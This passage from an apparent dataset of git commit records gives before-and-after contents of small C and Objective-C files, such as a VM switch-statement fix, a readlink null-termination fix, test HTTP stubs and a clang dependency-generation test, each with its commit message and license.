InverterLayer in SDK3.0.\nJust include effect_layer.h in files using InverterLayer and it should\nwork out of the box.\nWarning: This InverterLayer actually invert all colors, unlike the\noriginal InverterLayer that had a weird behavior on Basalt.\n","lang":"C","license":"mit","repos":"n4ru\/EffectLayer,clach04\/EffectLayer,clach04\/EffectLayer,gregoiresage\/EffectLayer,n4ru\/EffectLayer,clach04\/EffectLayer,nevraw\/EffectLayer,nevraw\/EffectLayer,ron064\/EffectLayer,ron064\/EffectLayer,nevraw\/EffectLayer,gregoiresage\/EffectLayer,n4ru\/EffectLayer,gregoiresage\/EffectLayer,ron064\/EffectLayer"}
{"commit":"b66c645e7c70e870021d91501a4b285fb017e1ae","old_file":"src\/libaacs\/aacs.h","new_file":"src\/libaacs\/aacs.h","old_contents":"\/*\n * libaacs by Doom9 ppl 2009, 2010\n *\/\n\n#ifndef AACS_H_\n#define AACS_H_\n\n#include <stdint.h>\n#include <unistd.h>\n\n#include \"mkb.h\"\n#include \"..\/file\/configfile.h\"\n\n#define LIBAACS_VERSION \"1.0\"\n\ntypedef struct aacs AACS;\nstruct aacs {\n    uint8_t pk[16], mk[16], vuk[16], vid[16];\n    uint8_t *uks;           \/\/ unit key array (size = 16 * num_uks, each key is at 16-byte offset)\n    uint16_t num_uks;       \/\/ number of unit keys\n    uint8_t iv[16];\n    CONFIGFILE *kf;\n};\n\nAACS *aacs_open(const char *path, const char *keyfile_path);\nvoid aacs_close(AACS *aacs);\nint aacs_decrypt_unit(AACS *aacs, uint8_t *buf, uint32_t len, uint64_t offset);\nuint8_t *aacs_get_vid(AACS *aacs);\n\n#endif \/* AACS_H_ *\/\n","new_contents":"\/*\n * libaacs by Doom9 ppl 2009, 2010\n *\/\n\n#ifndef AACS_H_\n#define AACS_H_\n\n#include <stdint.h>\n\n#include \"mkb.h\"\n#include \"..\/file\/configfile.h\"\n\n#define LIBAACS_VERSION \"1.0\"\n\ntypedef struct aacs AACS;\nstruct aacs {\n    uint8_t pk[16], mk[16], vuk[16], vid[16];\n    uint8_t *uks;           \/\/ unit key array (size = 16 * num_uks, each key is at 16-byte offset)\n    uint16_t num_uks;       \/\/ number of unit keys\n    uint8_t iv[16];\n    CONFIGFILE *kf;\n};\n\nAACS *aacs_open(const char *path, const char *keyfile_path);\nvoid aacs_close(AACS *aacs);\nint aacs_decrypt_unit(AACS *aacs, uint8_t *buf, uint32_t len, uint64_t offset);\nuint8_t *aacs_get_vid(AACS *aacs);\n\n#endif \/* AACS_H_ *\/\n","subject":"Remove unneed inclusion of unistd.h","message":"Remove unneed inclusion of unistd.h\n","lang":"C","license":"lgpl-2.1","repos":"mwgoldsmith\/aacs,rraptorr\/libaacs,ShiftMediaProject\/libaacs,ShiftMediaProject\/libaacs,zxlooong\/libaacs,mwgoldsmith\/aacs,rraptorr\/libaacs,zxlooong\/libaacs"}
{"commit":"733ac73861e87d5d600605eb4fc6e7c295536c3b","old_file":"lily_vm.c","new_file":"lily_vm.c","old_contents":"#include \"lily_impl.h\"\n#include \"lily_symtab.h\"\n#include \"lily_opcode.h\"\n\nstatic void builtin_print(lily_symbol *s)\n{\n    if (s->val_type == vt_str)\n        lily_impl_send_html(((lily_strval *)s->sym_value)->str);\n}\n\nvoid lily_vm_execute(lily_symbol *sym)\n{\n    lily_symbol **regs;\n    int *code, ci;\n\n    regs = lily_impl_malloc(8 * sizeof(lily_symbol *));\n    code = sym->code_data->code;\n    ci = 0;\n\n    while (1) {\n        switch (code[ci]) {\n            case o_load_reg:\n                regs[code[ci+1]] = (lily_symbol *)code[ci+2];\n                ci += 3;\n                break;\n            case o_builtin_print:\n                builtin_print(regs[code[ci+1]]);\n                ci += 2;\n            case o_assign:\n                regs[code[ci]]->sym_value = (void *)code[ci+1];\n                regs[code[ci]]->val_type = (lily_val_type)code[ci+2];\n                ci += 3;\n            case o_vm_return:\n                free(regs);\n                return;\n        }\n    }\n}\n","new_contents":"#include \"lily_impl.h\"\n#include \"lily_symtab.h\"\n#include \"lily_opcode.h\"\n\nstatic void builtin_print(lily_symbol *s)\n{\n    if (s->val_type == vt_str)\n        lily_impl_send_html(((lily_strval *)s->sym_value)->str);\n}\n\nvoid lily_vm_execute(lily_symbol *sym)\n{\n    lily_symbol **regs;\n    int *code, ci;\n\n    regs = lily_impl_malloc(8 * sizeof(lily_symbol *));\n    code = sym->code_data->code;\n    ci = 0;\n\n    while (1) {\n        switch (code[ci]) {\n            case o_load_reg:\n                regs[code[ci+1]] = (lily_symbol *)code[ci+2];\n                ci += 3;\n                break;\n            case o_builtin_print:\n                builtin_print(regs[code[ci+1]]);\n                ci += 2;\n                break;\n            case o_assign:\n                regs[code[ci]]->sym_value = (void *)code[ci+1];\n                regs[code[ci]]->val_type = (lily_val_type)code[ci+2];\n                ci += 3;\n                break;\n            case o_vm_return:\n                free(regs);\n                return;\n        }\n    }\n}\n","subject":"Fix o_builtin_print and o_assign cases not breaking.","message":"vm: Fix o_builtin_print and o_assign cases not breaking.\n\nThis was causing the hello_world.ly test to segfault.\n","lang":"C","license":"mit","repos":"jesserayadkins\/lily,FascinatedBox\/lily,jesserayadkins\/lily,FascinatedBox\/lily,FascinatedBox\/lily,jesserayadkins\/lily,FascinatedBox\/lily"}
{"commit":"2c9ab368a9ef9129c735becdf4d461c06d9a8a84","old_file":"include\/effects\/SkStippleMaskFilter.h","new_file":"include\/effects\/SkStippleMaskFilter.h","old_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkStippleMaskFilter_DEFINED\n#define SkStippleMaskFilter_DEFINED\n\n#include \"SkMaskFilter.h\"\n\n\/**\n * Simple MaskFilter that creates a screen door stipple pattern\n *\/\nclass SkStippleMaskFilter : public SkMaskFilter {\npublic:\n    SkStippleMaskFilter() : INHERITED() {\r\n    }\r\n\r\n    virtual bool filterMask(SkMask* dst, const SkMask& src,\n                            const SkMatrix& matrix,\n                            SkIPoint* margin) SK_OVERRIDE;\n\n    \/\/ getFormat is from SkMaskFilter\n    virtual SkMask::Format getFormat() SK_OVERRIDE {\n        return SkMask::kA8_Format;\n    }\n\n    SK_DECLARE_PUBLIC_FLATTENABLE_DESERIALIZATION_PROCS(SkStippleMaskFilter);\n\nprotected:\n    SkStippleMaskFilter::SkStippleMaskFilter(SkFlattenableReadBuffer& buffer)\r\n    : SkMaskFilter(buffer) {\r\n    }\n\nprivate:\n    typedef SkMaskFilter INHERITED;\n};\n\n#endif \/\/ SkStippleMaskFilter_DEFINED","new_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkStippleMaskFilter_DEFINED\n#define SkStippleMaskFilter_DEFINED\n\n#include \"SkMaskFilter.h\"\n\n\/**\n * Simple MaskFilter that creates a screen door stipple pattern\n *\/\nclass SkStippleMaskFilter : public SkMaskFilter {\npublic:\n    SkStippleMaskFilter() : INHERITED() {\n    }\n\n    virtual bool filterMask(SkMask* dst, const SkMask& src,\n                            const SkMatrix& matrix,\n                            SkIPoint* margin) SK_OVERRIDE;\n\n    \/\/ getFormat is from SkMaskFilter\n    virtual SkMask::Format getFormat() SK_OVERRIDE {\n        return SkMask::kA8_Format;\n    }\n\n    SK_DECLARE_PUBLIC_FLATTENABLE_DESERIALIZATION_PROCS(SkStippleMaskFilter);\n\nprotected:\n    SkStippleMaskFilter(SkFlattenableReadBuffer& buffer)\n    : SkMaskFilter(buffer) {\n    }\n\nprivate:\n    typedef SkMaskFilter INHERITED;\n};\n\n#endif \/\/ SkStippleMaskFilter_DEFINED\n","subject":"Fix for compiler error in r4154","message":"Fix for compiler error in r4154\n\n\n","lang":"C","license":"bsd-3-clause","repos":"csulmone\/skia,csulmone\/skia,csulmone\/skia,csulmone\/skia"}
{"commit":"a46d5e7f3700e126c6bc5c31f93a8f297e11074f","old_file":"chip\/host\/persistence.c","new_file":"chip\/host\/persistence.c","old_contents":"\/* Copyright (c) 2013 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* Persistence module for emulator *\/\n\n#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n\n#define BUF_SIZE 1024\n\nstatic void get_storage_path(char *out)\n{\n\tchar buf[BUF_SIZE];\n\n\treadlink(\"\/proc\/self\/exe\", buf, BUF_SIZE);\n\tif (snprintf(out, BUF_SIZE, \"%s_persist\", buf) >= BUF_SIZE)\n\t\tout[BUF_SIZE - 1] = '\\0';\n}\n\nFILE *get_persistent_storage(const char *tag, const char *mode)\n{\n\tchar buf[BUF_SIZE];\n\tchar path[BUF_SIZE];\n\n\t\/*\n\t * The persistent storage with tag 'foo' for test 'bar' would\n\t * be named 'bar_persist_foo'\n\t *\/\n\tget_storage_path(buf);\n\tif (snprintf(path, BUF_SIZE, \"%s_%s\", buf, tag) >= BUF_SIZE)\n\t\tpath[BUF_SIZE - 1] = '\\0';\n\n\treturn fopen(path, mode);\n}\n\nvoid release_persistent_storage(FILE *ps)\n{\n\tfclose(ps);\n}\n","new_contents":"\/* Copyright (c) 2013 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* Persistence module for emulator *\/\n\n#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n\n#define BUF_SIZE 1024\n\nstatic void get_storage_path(char *out)\n{\n\tchar buf[BUF_SIZE];\n\tint sz;\n\n\tsz = readlink(\"\/proc\/self\/exe\", buf, BUF_SIZE);\n\tbuf[sz] = '\\0';\n\tif (snprintf(out, BUF_SIZE, \"%s_persist\", buf) >= BUF_SIZE)\n\t\tout[BUF_SIZE - 1] = '\\0';\n}\n\nFILE *get_persistent_storage(const char *tag, const char *mode)\n{\n\tchar buf[BUF_SIZE];\n\tchar path[BUF_SIZE];\n\n\t\/*\n\t * The persistent storage with tag 'foo' for test 'bar' would\n\t * be named 'bar_persist_foo'\n\t *\/\n\tget_storage_path(buf);\n\tif (snprintf(path, BUF_SIZE, \"%s_%s\", buf, tag) >= BUF_SIZE)\n\t\tpath[BUF_SIZE - 1] = '\\0';\n\n\treturn fopen(path, mode);\n}\n\nvoid release_persistent_storage(FILE *ps)\n{\n\tfclose(ps);\n}\n","subject":"Fix a bug in emulator persistent storage","message":"Fix a bug in emulator persistent storage\n\nThe path string is not terminated properly, causing occasional crashes.\n\nBUG=chrome-os-partner:19235\nTEST=Dump the path and check it's correct.\nBRANCH=None\n\nChange-Id: I9ccbd565ce68ffdad98f2dd90ecf19edf9805ec0\nSigned-off-by: Vic Yang <5fd92abeee651458f98e2856f4f200ee971cee4d@chromium.org>\nReviewed-on: https:\/\/gerrit.chromium.org\/gerrit\/56700\nReviewed-by: Vincent Palatin <70a9964ec8fd10b0b08fcc8623c2add25ddf99ac@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"longsleep\/ec,md5555\/ec,longsleep\/ec,mtk09422\/chromiumos-platform-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,akappy7\/ChromeOS_EC_LED_Diagnostics,eatbyte\/chromium-ec,alterapraxisptyltd\/chromium-ec,fourier49\/BZ_DEV_EC,coreboot\/chrome-ec,fourier49\/BZ_DEV_EC,fourier49\/BZ_DEV_EC,coreboot\/chrome-ec,alterapraxisptyltd\/chromium-ec,eatbyte\/chromium-ec,akappy7\/ChromeOS_EC_LED_Diagnostics,thehobn\/ec,gelraen\/cros-ec,gelraen\/cros-ec,akappy7\/ChromeOS_EC_LED_Diagnostics,thehobn\/ec,akappy7\/ChromeOS_EC_LED_Diagnostics,mtk09422\/chromiumos-platform-ec,gelraen\/cros-ec,thehobn\/ec,mtk09422\/chromiumos-platform-ec,coreboot\/chrome-ec,fourier49\/BIZ_EC,fourier49\/BZ_DEV_EC,eatbyte\/chromium-ec,fourier49\/BIZ_EC,longsleep\/ec,md5555\/ec,md5555\/ec,fourier49\/BIZ_EC,alterapraxisptyltd\/chromium-ec,mtk09422\/chromiumos-platform-ec,longsleep\/ec,alterapraxisptyltd\/chromium-ec,thehobn\/ec,md5555\/ec,eatbyte\/chromium-ec,gelraen\/cros-ec,fourier49\/BIZ_EC,coreboot\/chrome-ec,akappy7\/ChromeOS_EC_LED_Diagnostics"}
{"commit":"c0e295eb3b917a2d5a4c95b8f9d29e0b519d77ee","old_file":"Source\/Sync.h","new_file":"Source\/Sync.h","old_contents":"@import Foundation;\n@import CoreData;\n\nFOUNDATION_EXPORT double SyncVersionNumber;\n\nFOUNDATION_EXPORT const unsigned char SyncVersionString[];\n\n#import <Sync\/SYNCPropertyMapper.h>\n#import <Sync\/NSEntityDescription+SYNCPrimaryKey.h>\n","new_contents":"@import Foundation;\n@import CoreData;\n\nFOUNDATION_EXPORT double SyncVersionNumber;\n\nFOUNDATION_EXPORT const unsigned char SyncVersionString[];\n\n#import <Sync\/SYNCPropertyMapper.h>\n#import <Sync\/NSEntityDescription+SYNCPrimaryKey.h>\n#import <Sync\/NSManagedObject+SYNCPropertyMapperHelpers.h>\n","subject":"Add missing import in umbrella header","message":"Add missing import in umbrella header\n","lang":"C","license":"mit","repos":"hyperoslo\/Sync,hyperoslo\/Sync"}
{"commit":"cc97b7f92ce123b511fa649e16cc2259c5bb7edd","old_file":"eacirc\/solvers\/local_search.h","new_file":"eacirc\/solvers\/local_search.h","old_contents":"#pragma once\n\n#include <cstddef>\n#include <utility>\n\ntemplate <class Type, class Mut, class Eval, class Init> struct local_search {\n    local_search(Mut &mutator, Eval &evaluator, Init &initializer)\n        : _mutator(mutator)\n        , _evaluator(evaluator)\n        , _initializer(initializer) {\n        _initializer.apply(_solution_a);\n        _score_a = _evaluator(_solution_a);\n    }\n\n    void run(const std::size_t iterations) {\n        for (std::size_t i = 0; i != iterations; ++i)\n            _step();\n    }\n\n    void reevaluate() { return _score_a = _evaluator.apply(_solution_a); }\n\nprivate:\n    Type _solution_a;\n    Type _solution_b;\n\n    double _score_a;\n    double _score_b;\n\n    Mut &_mutator;\n    Eval &_evaluator;\n    Init &_initializer;\n\n    void _step() {\n        _solution_b = _solution_a;\n        _mutator.apply(_solution_b);\n\n        _score_b = _evaluator.apply(_solution_b);\n        if (_score_a <= _score_b) {\n            using std::swap;\n            swap(_solution_a, _solution_b);\n            swap(_score_a, _score_b);\n        }\n    }\n};\n","new_contents":"#pragma once\n\n#include <cstddef>\n#include <utility>\n\ntemplate <class Type, class Mut, class Eval, class Init> struct local_search {\n    local_search(Mut &mutator, Eval &evaluator, Init &initializer)\n        : _mutator(mutator)\n        , _evaluator(evaluator)\n        , _initializer(initializer) {\n        _initializer.apply(_solution_a);\n        _score_a = _evaluator(_solution_a);\n    }\n\n    void run(const std::size_t iterations) {\n        for (std::size_t i = 0; i != iterations; ++i)\n            _step();\n    }\n\n    double reevaluate() { return _score_a = _evaluator.apply(_solution_a); }\n\nprivate:\n    Type _solution_a;\n    Type _solution_b;\n\n    double _score_a;\n    double _score_b;\n\n    Mut &_mutator;\n    Eval &_evaluator;\n    Init &_initializer;\n\n    void _step() {\n        _solution_b = _solution_a;\n        _mutator.apply(_solution_b);\n\n        _score_b = _evaluator.apply(_solution_b);\n        if (_score_a <= _score_b) {\n            using std::swap;\n            swap(_solution_a, _solution_b);\n            swap(_score_a, _score_b);\n        }\n    }\n};\n","subject":"Fix return value of reevaluate in local search","message":"Fix return value of reevaluate in local search\n","lang":"C","license":"mit","repos":"crocs-muni\/EACirc,crocs-muni\/EACirc,crocs-muni\/EACirc,crocs-muni\/EACirc"}
{"commit":"cadb4be574070be846c530c387ba43d18915b595","old_file":"PodioKitTests\/PKTStubs.h","new_file":"PodioKitTests\/PKTStubs.h","old_contents":"","new_contents":"\/\/\n\/\/  PKTStubs.h\n\/\/  PodioKit\n\/\/\n\/\/  Created by Romain Briche on 30\/01\/14.\n\/\/  Copyright (c) 2014 Citrix Systems, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <OHHTTPStubs\/OHHTTPStubs.h>\n\nvoid (^stubResponseFromFile)(NSString *, NSString *) = ^(NSString *path, NSString *responseFilename) {\n  NSDictionary *headers = @{@\"Content-Type\": @\"application\/json; charset=utf-8\"};\n\n\t[OHHTTPStubs stubRequestsPassingTest:^BOOL(NSURLRequest *request) {\n    return [[[request URL] path] isEqualToString:path];\n  } withStubResponse:^OHHTTPStubsResponse *(NSURLRequest *request) {\n\t\treturn [OHHTTPStubsResponse responseWithFileAtPath:OHPathForFileInDocumentsDir(responseFilename) statusCode:200 headers:headers];\n  }];\n};\n\nvoid (^stubResponseFromObject)(NSString *, id) = ^(NSString *path, id responseObject) {\n  NSDictionary *headers = @{@\"Content-Type\": @\"application\/json; charset=utf-8\"};\n\n\t[OHHTTPStubs stubRequestsPassingTest:^BOOL(NSURLRequest *request) {\n    return [[[request URL] path] isEqualToString:path];\n  } withStubResponse:^OHHTTPStubsResponse *(NSURLRequest *request) {\n    NSData *data = [NSJSONSerialization dataWithJSONObject:responseObject options:0 error:NULL];\n\t\treturn [OHHTTPStubsResponse responseWithData:data statusCode:200 headers:headers];\n  }];\n};\n\nvoid (^stubResponseWithStatusCode)(NSString *, int) = ^(NSString *path, int statusCode) {\n\t[OHHTTPStubs stubRequestsPassingTest:^BOOL(NSURLRequest *request) {\n    return [[[request URL] path] isEqualToString:path];\n  } withStubResponse:^OHHTTPStubsResponse *(NSURLRequest *request) {\n\t\treturn [OHHTTPStubsResponse responseWithData:[NSData data] statusCode:statusCode headers:nil];\n  }];\n};\n\nvoid (^stubResponseWithTime)(NSString *, int, int) = ^(NSString *path, int requestTime, int responseTime) {\n\t[OHHTTPStubs stubRequestsPassingTest:^BOOL(NSURLRequest *request) {\n    return [[[request URL] path] isEqualToString:path];\n  } withStubResponse:^OHHTTPStubsResponse *(NSURLRequest *request) {\n\t\treturn [[OHHTTPStubsResponse responseWithData:[NSData data] statusCode:200 headers:nil] requestTime:requestTime responseTime:responseTime];\n  }];\n};\n","subject":"Add convenient method to stub API responses","message":"Add convenient method to stub API responses\n","lang":"C","license":"mit","repos":"podio\/podio-objc,podio\/podio-objc,podio\/podio-objc,shelsonjava\/podio-objc,shelsonjava\/podio-objc,shelsonjava\/podio-objc"}
{"commit":"80cac09dcd3f6227f81cc56169d69e1fae129b5d","old_file":"test\/Frontend\/dependency-generation-crash.c","new_file":"test\/Frontend\/dependency-generation-crash.c","old_contents":"\/\/ RUN: touch %t\n\/\/ RUN: chmod 0 %t\n\/\/ %clang -E -dependency-file bla -MT %t -MP -o %t -x c \/dev\/null\n\/\/ rdar:\/\/9286457\n","new_contents":"\/\/ RUN: touch %t\n\/\/ RUN: chmod 0 %t\n\/\/ RUN: not %clang_cc1 -E -dependency-file bla -MT %t -MP -o %t -x c \/dev\/null 2>&1 | FileCheck %s\n\/\/ RUN: rm -f %t\n\n\/\/ CHECK: error: unable to open output file\n\n\/\/ rdar:\/\/9286457\n","subject":"Fix dependency generation crash test to run clang and clean up after itself.","message":"Fix dependency generation crash test to run clang and clean up after itself.\n\nPreviously the test did not have a RUN: prefix for the clang command.\nIn addition it was leaving behind a tmp file with no permissions causing issues when\ndeleting the build directory on Windows.\n\nDifferential Revision: http:\/\/reviews.llvm.org\/D7534\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@228919 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"c0a0e8f317ebabe87fd0e9a3f15de9acec1ef804","old_file":"seh\/seh.h","new_file":"seh\/seh.h","old_contents":"\/\/ Copyright (c) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE file in the project root for\n\/\/ full license information.\n\n#include \"stdio.h\"\n\n#if   ( _MSC_VER >= 800  )\n\n#define try                             __try\n#define except                          __except\n#define finally                         __finally\n#define leave                           __leave\n\n#elif defined(__MINGW32__) || defined(__MINGW64__)\n#define try\n#define except\n#define finally\n#define leave\n\n#endif\n","new_contents":"\/\/ Copyright (c) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE file in the project root for\n\/\/ full license information.\n\n#include \"stdio.h\"\n\n#if   ( _MSC_VER >= 800  )\n\n#define try                             __try\n#define except                          __except\n#define finally                         __finally\n#define leave                           __leave\n\n#endif\n","subject":"Revert \"Dirty hack for mingw's exception handler\"","message":"Revert \"Dirty hack for mingw's exception handler\"\n\nThis reverts commit f9d6d03cc8a7f00588a7df7ab4b31673521fc193.\n","lang":"C","license":"mit","repos":"Endle\/compiler-tests,Endle\/compiler-tests,Endle\/compiler-tests"}
{"commit":"5259677050d05eb4f0f7c6292d66b31db4cd37e1","old_file":"src\/software_rasterizer\/demo\/texture.h","new_file":"src\/software_rasterizer\/demo\/texture.h","old_contents":"#ifndef RPLNN_TEXTURE_H\n#define RPLNN_TEXTURE_H\n\nstruct texture;\n\n\/* Should create a version of this which doesn't malloc (basically just give memory block as a parameter). *\/\nstruct texture *texture_create(const char *file_name);\n\nvoid texture_destroy(struct texture **texture);\n\n\/* Just create a stryct vec2_int texture_get_size func *\/\nvoid texture_get_info(struct texture *texture, uint32_t **buf, struct vec2_int **size);\n\n#endif \/* RPLNN_TEXTURE_H *\/\n","new_contents":"#ifndef RPLNN_TEXTURE_H\n#define RPLNN_TEXTURE_H\n\nstruct texture;\n\n\/* Should create a version of this which doesn't malloc (basically just give memory block as a parameter). *\/\nstruct texture *texture_create(const char *file_name);\n\nvoid texture_destroy(struct texture **texture);\n\nvoid texture_get_info(struct texture *texture, uint32_t **buf, struct vec2_int **size);\n\n#endif \/* RPLNN_TEXTURE_H *\/\n","subject":"Clean up 1: Removed old comment and vs fixed some line endings.","message":"Clean up 1: Removed old comment and vs fixed some line endings.\n","lang":"C","license":"mit","repos":"ropelinen\/rasterizer,ropelinen\/rasterizer"}
{"commit":"2b6c96c395201bd19af1328288f8f79f3eecd943","old_file":"test\/structs\/scope\/redef_nested_good.c","new_file":"test\/structs\/scope\/redef_nested_good.c","old_contents":"","new_contents":"\/\/ RUN: %ucc -fsyntax-only %s\n\nstruct B\n{\n\tint i;\n};\n\nstruct Global\n{\n\tchar *s;\n};\n\nf()\n{\n\tstruct A\n\t{\n\t\tint i;\n\t\tstruct Global g;\n\t} a;\n\n\tstruct B\n\t{\n\t\tint j, k;\n\t};\n\n\ta.g.s = \"hi\";\n\n\tstruct B;\n\n\tstruct B b;\n\tb.k = 3;\n\n\t{\n\t\tstruct B x = { .k = 5 };\n\t}\n}\n\nstruct R\n{\n\tstruct R *next;\n};\n\nstruct R r = { &r };\n","subject":"Add additional nested struct redefinition test","message":"Add additional nested struct redefinition test\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"bc0dc192899f4462986220172a78a8cf59d22fcc","old_file":"lib\/libc\/include\/stddef.h","new_file":"lib\/libc\/include\/stddef.h","old_contents":"\/******************************************************************************\n * Copyright (c) 2004, 2008 IBM Corporation\n * All rights reserved.\n * This program and the accompanying materials\n * are made available under the terms of the BSD License\n * which accompanies this distribution, and is available at\n * http:\/\/www.opensource.org\/licenses\/bsd-license.php\n *\n * Contributors:\n *     IBM Corporation - initial implementation\n *****************************************************************************\/\n\n#ifndef _STDDEF_H\n#define _STDDEF_H\n\n\n#define NULL ((void *)0)\n\n\ntypedef unsigned int size_t;\n\n\n#endif\n\n\n","new_contents":"\/******************************************************************************\n * Copyright (c) 2004, 2008 IBM Corporation\n * All rights reserved.\n * This program and the accompanying materials\n * are made available under the terms of the BSD License\n * which accompanies this distribution, and is available at\n * http:\/\/www.opensource.org\/licenses\/bsd-license.php\n *\n * Contributors:\n *     IBM Corporation - initial implementation\n *****************************************************************************\/\n\n#ifndef _STDDEF_H\n#define _STDDEF_H\n\n\n#define NULL ((void *)0)\n\ntypedef unsigned long size_t;\n\n\n#endif\n\n\n","subject":"Declare size_t as unsigned long","message":"libc: Declare size_t as unsigned long\n\nIf size_t is only \"int\", memset() and friends are limited\nto 4 GB. And ssize_t is already declared as \"long\", so it\nis somewhat inconsequent to define size_t as \"int\" only.\n\nSigned-off-by: Thomas Huth <9e65be74847981e55b2564b6266c57d86d3bac05@redhat.com>\nSigned-off-by: Alexey Kardashevskiy <ac1fc56530d7d037e1ea666f130daca22d72f964@ozlabs.ru>\n","lang":"C","license":"bsd-3-clause","repos":"stefanberger\/SLOF-tpm,qemu\/SLOF,stefanberger\/SLOF-tpm,aik\/SLOF,aik\/SLOF,qemu\/SLOF,qemu\/SLOF,stefanberger\/SLOF-tpm,aik\/SLOF"}
{"commit":"cdfc79aae9d4c123ab15fea9cf1e4429f15aba66","old_file":"gobject\/gobject-autocleanups.h","new_file":"gobject\/gobject-autocleanups.h","old_contents":"\/*\n * Copyright © 2015 Canonical Limited\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Author: Ryan Lortie <desrt@desrt.ca>\n *\/\n\n#if !defined (__GLIB_GOBJECT_H_INSIDE__) && !defined (GOBJECT_COMPILATION)\n#error \"Only <glib-object.h> can be included directly.\"\n#endif\n\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GClosure, g_closure_unref)\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GObject, g_object_unref)\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GInitiallyUnowned, g_object_unref)\nG_DEFINE_AUTO_CLEANUP_CLEAR_FUNC(GValue, g_value_unset)\n","new_contents":"\/*\n * Copyright © 2015 Canonical Limited\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Author: Ryan Lortie <desrt@desrt.ca>\n *\/\n\n#if !defined (__GLIB_GOBJECT_H_INSIDE__) && !defined (GOBJECT_COMPILATION)\n#error \"Only <glib-object.h> can be included directly.\"\n#endif\n\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GClosure, g_closure_unref)\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GObject, g_object_unref)\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GInitiallyUnowned, g_object_unref)\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GParamSpec, g_param_spec_unref)\nG_DEFINE_AUTO_CLEANUP_CLEAR_FUNC(GValue, g_value_unset)\n","subject":"Add g_autoptr() support for GParamSpec","message":"gobject: Add g_autoptr() support for GParamSpec\n\nDo not add support for its subtypes, since all their constructors return\nGParamSpec*, and g_param_spec_unref() takes a GParamSpec* rather than a\ngpointer — adding G_DEFINE_AUTOPTR_CLEANUP_FUNC() for subtypes of\nGParamSpec results in compiler warnings about mismatched parameter\ntypes (GParamSpecBoolean* vs GParamSpec*, for example).\n\nSigned-off-by: Philip Withnall <withnall@endlessm.com>\n\nhttps:\/\/bugzilla.gnome.org\/show_bug.cgi?id=796139\n","lang":"C","license":"lgpl-2.1","repos":"endlessm\/glib,endlessm\/glib,endlessm\/glib,endlessm\/glib,endlessm\/glib"}
{"commit":"58a72d996c2d1e3aa965a0f3b65e365b305b2269","old_file":"problem_010.c","new_file":"problem_010.c","old_contents":"","new_contents":"\/*\n * The sum of the primes below 10 is 2 + 3 + 5 + 7 = 17.\n *\n * Find the sum of all the primes below two million.\n *\/\n\n#include <stdio.h>\n#include <stdint.h>\n#include \"euler.h\"\n\n#define PROBLEM 10\n\nint\nmain(int argc, char **argv)\n{\n    uint64_t sum = 0, number = 0;\n\n    do {\n        number++;\n        if(is_prime(number)) {\n            sum += number;\n        }\n    } while(number != 2000000);\n    printf(\"%llu\\n\", sum);\n    return(0);\n}\n","subject":"Add solution for problem 10","message":"Add solution for problem 10\n","lang":"C","license":"bsd-2-clause","repos":"skreuzer\/euler"}
